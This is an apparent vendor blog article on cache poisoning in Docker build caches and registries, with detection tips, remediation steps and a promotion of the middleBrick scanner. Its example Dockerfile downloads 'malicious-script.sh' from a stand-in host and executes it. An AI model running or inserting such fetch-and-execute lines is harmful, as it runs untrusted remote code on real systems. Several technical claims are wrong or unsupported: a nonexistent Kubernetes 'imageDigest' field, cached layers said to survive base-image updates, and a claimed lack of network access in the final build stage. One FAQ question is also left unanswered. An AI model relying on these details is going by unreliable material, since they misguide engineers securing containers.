Cache Poisoning on Docker
How Cache Poisoning Manifests in Docker
Cache poisoning in Docker contexts targets two primary surfaces: the build cache during image construction and the registry cache serving images to clients. Unlike generic HTTP cache poisoning, Docker-specific attack vectors exploit the immutable layer model and registry API design.
Build Cache Poisoning
Docker's layer caching reuses intermediate layers when a Dockerfile instruction and its context haven't changed. An attacker who can influence the build context (e.g., via a compromised dependency or malicious ADD/COPY source) can poison the cache with a malicious layer. Subsequent builds that reuse this cache will inherit the poisoned layer, even if the Dockerfile itself is unchanged. This is particularly dangerous in CI/CD pipelines where base images or dependencies are pulled from public registries.
Example attack pattern:
# Vulnerable Dockerfile snippet
FROM alpine:3.18
# Attacker compromises a dependency in a cached layer
ADD https://example.com/malicious-script.sh /tmp/
RUN chmod +x /tmp/malicious-script.sh && /tmp/malicious-script.sh
# Later instructions reuse the cached layer if the ADD line hasn't changed
RUN echo "benign operation"If malicious-script.sh is served from a compromised or attacker-controlled server during the first build, the resulting layer is cached. Any future build using this Dockerfile (even with updated base images) will reuse the poisoned layer until the cache is invalidated.
Registry Cache Poisoning
Docker registries (Docker Hub, Harbor, ECR) expose HTTP APIs (e.g., /v2/_catalog, /v2/<name>/tags/list) that may be cached by intermediate proxies or CDNs. An attacker can poison these caches by:
- Sending requests with cacheable headers (e.g.,
Cache-Control: public, max-age=3600) and malicious payloads to registry API endpoints. - Exploiting misconfigured reverse proxies that cache authenticated responses or vary headers incorrectly.
- Manipulating layer digests in manifest responses if the registry does not strictly validate integrity.
A poisoned registry cache could serve a malicious manifest or layer blob to pull requests, leading to compromised containers in production. This aligns with OWASP API Security risks like Security Misconfiguration and Broken Object Property Authorization when the registry fails to validate that a requested tag resolves to an authorized, untampered image.
Docker-Specific Detection
Detecting cache poisoning requires examining both Dockerfile patterns and registry API behavior. middleBrick scans the HTTP API surface of Docker registries (e.g., https://registry.hub.docker.com/v2/) to identify cache-related vulnerabilities without needing credentials for public registries.
Registry API Scanning
middleBrick tests for:
- Missing or weak cache-control headers on sensitive endpoints (e.g., manifest and tag list APIs).
- Lack of ETag/If-None-Match validation that could allow cache poisoning via header manipulation.
- Improper Vary header usage that might cause authentication tokens to be cached and served to other users.
- Unauthenticated access to private image metadata that could facilitate targeted poisoning.
Example detection via middleBrick scan:
middlebrick scan https://registry.hub.docker.com/v2/_catalogA typical finding might report: "Cache-Control header missing on /v2/_catalog endpoint, allowing intermediate proxies to cache responses for up to 24 hours (observed via Age header)."
Dockerfile Pattern Analysis
While middleBrick focuses on runtime API scanning, it can correlate OpenAPI/Swagger specs if the registry publishes one (rare). More commonly, detection involves:
- Reviewing Dockerfiles for
ADDfrom remote URLs without checksum verification. - Checking CI/CD logs for cache reuse indicators (
Using cachemessages). - Verifying image digests in deployment manifests (Kubernetes
imageDigestfield) to ensure pulled images match expected hashes.
Manual check with Docker CLI:
# Inspect cached layers for a local image
docker history <image-name> | grep -i 'add\|copy'
# Verify pulled image digest matches registry
docker inspect <image-name> | jq '.[0].RepoDigests'Docker-Specific Remediation
Remediation combines Docker-native features, registry configuration, and pipeline hardening. The goal is to eliminate cache poisoning windows and ensure integrity.
1. Disable Build Cache in CI/CD
For critical security builds, use --no-cache to force fresh layers. This prevents reuse of potentially poisoned local cache.
# In CI/CD pipeline (e.g., GitHub Actions)
- run: docker build --no-cache -t myapp:${{ github.sha }} .Trade-off: Slower builds but guarantees clean layers. For less critical builds, use --cache-from with trusted, signed base images only.
2. Enforce Image Digests and Content Trust
Never pull by mutable tags (e.g., alpine:latest). Use immutable digests and enable Docker Content Trust (DCT) to require signed images.
# Enable DCT in environment
export DOCKER_CONTENT_TRUST=1
# Pull by digest (output shows "Signatures" if DCT is on)
docker pull alpine@sha256:...
# In Kubernetes, use imageDigest in Deployment
image: alpine@sha256:...DCT uses Notary to verify signatures against a trusted root. This prevents registry cache poisoning from serving tampered manifests because the digest won't match the signed metadata.
3. Registry Hardening
- Disable caching for API endpoints in registry reverse proxy (e.g., Nginx):
location /v2/ { add_header Cache-Control "no-store, no-cache, must-revalidate"; # ... proxy_pass to registry } - Enforce authentication on all registry API endpoints, even for public repositories (read-only tokens).
- Enable content trust at the registry level (Harbor, ECR support Notary) to require signatures for pushes/pulls.
4. Multi-Stage Builds to Minimize Cache
Isolate untrusted operations in separate stages, reducing the blast radius of a poisoned cache.
FROM alpine as builder
# Untrusted operations with network access
ADD https://example.com/deps.tar.gz /deps
RUN extract-deps.sh
FROM scratch
COPY --from=builder /deps /app
# Final stage has no network access, only copies artifactsIf the builder stage is poisoned, the final stage only copies verified artifacts, and the poisoned layer isn't in the final image's cache path.
5. Continuous Monitoring
Use middleBrick's Pro plan with scheduled scans of your registry API endpoints. Set up alerts for new cache-related findings. Integrate with GitHub Actions to fail builds if a scan detects weak cache headers on your registry's API.
# Example GitHub Action step
- name: Scan registry API
run: middlebrick scan ${{ env.REGISTRY_API_URL }} --format json
# Fail if severity exceeds threshold
continue-on-error: falseThis ensures registry configuration drifts are caught before production deployment.
Frequently Asked Questions
How does cache poisoning in Docker differ from traditional HTTP cache poisoning?
Can middleBrick scan private Docker registries for cache poisoning vulnerabilities?
--header "Authorization: Bearer <token>" in the CLI) to test the authenticated attack surface. The scanner checks for cache-control misconfigurations, header validation issues, and other API-level weaknesses that could lead to registry cache poisoning. Without credentials, it will only test the unauthenticated surface (e.g., public repository metadata).